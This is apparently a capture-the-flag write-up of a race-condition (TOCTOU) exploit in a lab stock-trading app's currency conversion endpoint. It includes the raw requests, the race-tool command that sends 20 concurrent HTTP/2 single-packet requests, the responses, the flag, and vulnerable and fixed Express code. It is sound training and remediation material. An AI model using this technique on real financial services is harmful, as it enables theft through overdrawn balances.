Shady Oaks Financial: Race Condition on Currency Conversion
Overview
- Platform: BugForge
- Vulnerability: Race Condition (TOCTOU) on currency conversion endpoint
- Key Technique: HTTP/2 single-packet attack exploiting non-atomic balance check/deduction with ~3 second processing delay
- Result: Converted 2000 EUR when only ~900 EUR was available, driving balance to -1100.12 EUR and capturing the flag
Objective
Find and exploit a vulnerability in the Shady Oaks Financial stock trading platform.
Initial Access
# Target Application
URL: https://lab-1774646400361-zhkfzp.labs-app.bugforge.io
# Auth details
POST /api/register with {username, email, password}
Returns JWT HS256 Bearer token
Registered as: haxor (id:4, role: user)
Starting balance: 1000 EUR
Key Findings
- Race Condition on Currency Conversion (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization) — The
POST /api/convert-currencyendpoint uses a non-atomic read-check-deduct pattern with a ~3 second processing delay. Multiple concurrent requests all read the same “old” balance before any deduction commits, allowing users to convert far more currency than they possess. The flag is returned in the response body when the balance goes negative.
Attack Chain Visualization
┌──────────────┐ ┌──────────────────┐ ┌──────────────────────┐
│ Register │───▶│ Map API Surface │───▶│ Identify Slow │
│ Account │ │ (Caido) │ │ Endpoint │
│ (id:4) │ │ │ │ /api/convert-currency │
└──────────────┘ └──────────────────┘ │ 3377ms roundtrip │
└──────────┬────────────┘
│
▼
┌──────────────────────┐
│ Save Raw Request │
│ 100 EUR → USD │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ HTTP/2 Single-Packet│
│ Attack (race tool) │
│ 20 concurrent reqs │
└──────────┬───────────┘
│
┌─────────────────────────┼──────────────────────────┐
▼ ▼ ▼
┌────────────────┐ ┌────────────────┐ ┌──────────────────┐
│ 8 early reqs │ │ 12 later reqs │ │ Balance goes │
│ 200 OK (188B) │ │ 200 OK (236B) │ │ from 899.88 EUR │
│ Normal convert │ │ Convert + FLAG │ │ to -1100.12 EUR │
└────────────────┘ └────────────────┘ └──────────────────┘
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (Node.js) — X-Powered-By: Express |
| Frontend | React SPA (minified JS bundle, 876KB) |
| Auth | JWT HS256 — payload: {"id":4,"username":"haxor","role":"user","iat":1774646431} |
| Currencies | EUR (1000 starting), USD, GBP |
| CORS | Access-Control-Allow-Origin: * |
API Surface
| Endpoint | Method | Notes |
|---|---|---|
/api/register |
POST | Returns JWT + user object |
/api/login |
POST | Standard login |
/api/verify-token |
GET | Returns full user object including balances |
/api/trade |
POST | {stock_id, shares, action} — fractional shares supported |
/api/convert-currency |
POST | {from_currency, to_currency, amount} — 3377ms roundtrip, VULNERABLE |
/api/profile |
PUT | {full_name, email} |
/api/portfolio |
GET | User’s stock holdings |
/api/transactions |
GET | Transaction history |
/api/stocks |
GET | 5 stocks: 404EX, LEGIT, OAKLEAF, PONZI, RISKIFY |
/api/stocks/:id/history |
GET | Price history per stock |
/api/exchange-rates |
GET | EUR/USD/GBP rate pairs |
/api/currencies |
GET | 3 currencies: EUR, USD, GBP |
/api/admin/* |
GET | Discovered in JS bundle (not tested this session) |
Exploitation Path
Step 1: Reconnaissance — Registration and API Enumeration
Registered an account and explored the application through Caido, capturing all HTTP traffic. The app is a stock trading platform with stock trading, currency conversion, and portfolio management.
POST /api/register HTTP/1.1
Content-Type: application/json
{
"username": "haxor",
"email": "haxor@test.com",
"password": "password123"
}
JWT payload: {"id":4,"username":"haxor","role":"user","iat":1774646431}. Starting balance of 1000 EUR across three supported currencies (EUR, USD, GBP).
Step 2: Timing Anomaly — Identifying the Race Window
During routine API enumeration, the /api/convert-currency endpoint stood out immediately: a simple currency conversion took 3377ms roundtrip. An operation that should be near-instant (check balance, deduct, credit) was taking 3+ seconds, suggesting a non-atomic operation with a wide race window.
POST /api/convert-currency HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{"from_currency":"EUR","to_currency":"USD","amount":100}
Response time: 3377ms — the key indicator. This delay means all concurrent requests will read the same pre-deduction balance.
Step 3: Race Condition Exploitation — HTTP/2 Single-Packet Attack
Saved the raw convert-currency request and used the race tool to fire 20 concurrent requests via HTTP/2 single-packet technique, ensuring all requests arrive simultaneously:
race -r loot/requests/convert-currency.txt --count 20
All 20 requests were sent in a single TCP packet, hitting the server at the same instant. Each request attempted to convert 100 EUR to USD (exchange rate: 1.064516).
Step 4: Results Analysis
All 20 requests returned 200 OK with ~3151ms response time. The responses split into two groups:
8 early responses (188-189 bytes) — Normal conversions, no flag:
{
"message": "Currency converted successfully",
"transaction_id": 9,
"from_currency": "EUR",
"to_currency": "USD",
"amount_converted": "100.00",
"amount_received": "106.45",
"exchange_rate": "1.064516"
}
12 later responses (236 bytes) — Conversions that drove balance negative, flag included:
{
"message": "Currency converted successfully",
"transaction_id": 19,
"from_currency": "EUR",
"to_currency": "USD",
"amount_converted": "100.00",
"amount_received": "106.45",
"exchange_rate": "1.064516",
"flag": "bug{sEXjr5bS6bGwkBY802ux6uKBazEJAvDu}"
}
Impact breakdown:
- Starting balance: ~899.88 EUR (some EUR had been spent on a test trade earlier)
- 20 conversions of 100 EUR each = 2000 EUR deducted
- Final balance: -1100.12 EUR
- USD received: 2128.90 USD (20 x 106.45)
- Net gain: ~1100 EUR worth of currency generated from nothing
Step 5: Understanding the Race Tool’s Hit Classification
An important nuance: the race tool classified 8 responses as “hits” based on response length difference (188-189 bytes vs 236 bytes). The shorter responses were the early ones that succeeded normally. The longer 236-byte responses — classified as “non-hits” by the tool — were actually the more interesting ones containing the flag. The flag appeared as an extra JSON key only when the balance went negative, indicating the server detected the overdraft but processed the conversion anyway.
Flag / Objective Achieved
| Vector | Flag |
|---|---|
Race condition on POST /api/convert-currency |
bug{sEXjr5bS6bGwkBY802ux6uKBazEJAvDu} |
Key Learnings
- Response time is a vulnerability indicator. A 3+ second roundtrip on what should be a sub-100ms operation is a strong signal of non-atomic processing with a wide race window. Always note timing anomalies during reconnaissance.
- HTTP/2 single-packet attacks eliminate network jitter. By packing all requests into one TCP packet, every request arrives at the server simultaneously, maximizing the chance of hitting the race window. This is more reliable than threading or async approaches.
- Inspect ALL response data, not just tool summaries. The
racetool’s “hit” classification was based on response length — it flagged the shorter (normal) responses as hits and the longer (flag-containing) responses as non-hits. Always review the full results, not just the summary. - The flag delivery mechanism reveals the vulnerability. The flag appeared only in responses that drove the balance negative, meaning the server detected the overdraft condition but still processed the conversion. This is a classic TOCTOU pattern: time-of-check (balance >= 100?) happens before time-of-use (deduct 100), and concurrent requests all pass the check before any deduction commits.
- Financial operations MUST be atomic. Any read-check-modify pattern on shared state (like account balances) needs database-level locking or atomic transactions. A processing delay makes it worse but even fast operations are vulnerable if not properly synchronized.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| N/A — first hypothesis was correct | — | The 3377ms timing anomaly directly led to the race condition. No dead ends on this engagement. |
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP proxy — API enumeration, request capture, timing analysis |
race |
HTTP/2 single-packet attack — 20 concurrent requests to exploit TOCTOU race window |
| Browser DevTools | React SPA analysis, JS bundle route extraction |
Remediation
1. Race Condition on Currency Conversion (CVSS: 9.1 - Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Issue: The currency conversion endpoint reads the user’s balance, validates sufficiency, then deducts — but these steps are not atomic. With a ~3 second processing delay between read and write, concurrent requests all read the same pre-deduction balance, allowing unlimited overdraft.
CWE Reference: CWE-362 — Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition)
Fix:
// BEFORE (Vulnerable) — non-atomic read-check-deduct
app.post('/api/convert-currency', authMiddleware, async (req, res) => {
const user = await db.query('SELECT balance_eur FROM users WHERE id = ?', [req.user.id]);
if (user.balance_eur < req.body.amount) {
return res.status(400).json({ error: 'Insufficient funds' });
}
// ~3 second processing delay here (rate lookup, logging, etc.)
await db.query('UPDATE users SET balance_eur = balance_eur - ? WHERE id = ?',
[req.body.amount, req.user.id]);
// Credit converted currency...
});
// AFTER (Secure) — atomic transaction with row-level locking
app.post('/api/convert-currency', authMiddleware, async (req, res) => {
const trx = await db.transaction();
try {
// SELECT ... FOR UPDATE acquires a row-level lock
const user = await trx.query(
'SELECT balance_eur FROM users WHERE id = ? FOR UPDATE',
[req.user.id]
);
if (user.balance_eur < req.body.amount) {
await trx.rollback();
return res.status(400).json({ error: 'Insufficient funds' });
}
// Atomic deduction — other transactions wait for this lock
await trx.query(
'UPDATE users SET balance_eur = balance_eur - ? WHERE id = ? AND balance_eur >= ?',
[req.body.amount, req.user.id, req.body.amount]
);
// Credit converted currency within same transaction
await trx.commit();
} catch (err) {
await trx.rollback();
return res.status(500).json({ error: 'Conversion failed' });
}
});
Additional recommendations:
- Use
SELECT ... FOR UPDATEor equivalent row-level locking on all balance-modifying operations - Add a
WHERE balance >= amountguard to the UPDATE statement as a secondary check - Reduce processing time — move non-critical work (logging, rate history) to async post-processing
- Implement rate limiting per-user on financial endpoints to limit concurrent request volume
- Add balance-negative alerting to detect exploitation attempts
OWASP Top 10 Coverage
- A04:2021 — Insecure Design: The core issue. The currency conversion operation was designed without considering concurrent access. Financial operations on shared state require atomic transactions by design, not as an afterthought.
- A08:2021 — Software and Data Integrity Failures: The balance check and deduction are separate operations with no integrity guarantee between them. The system trusts that the balance hasn’t changed between read and write.
References
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
- OWASP Race Condition Testing
- PortSwigger Research: Smashing the State Machine (HTTP/2 Single-Packet Attack)
- James Kettle — Race Conditions in Web Applications
Tags: #race-condition #toctou #currency-conversion #http2-single-packet #financial-logic #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-03-27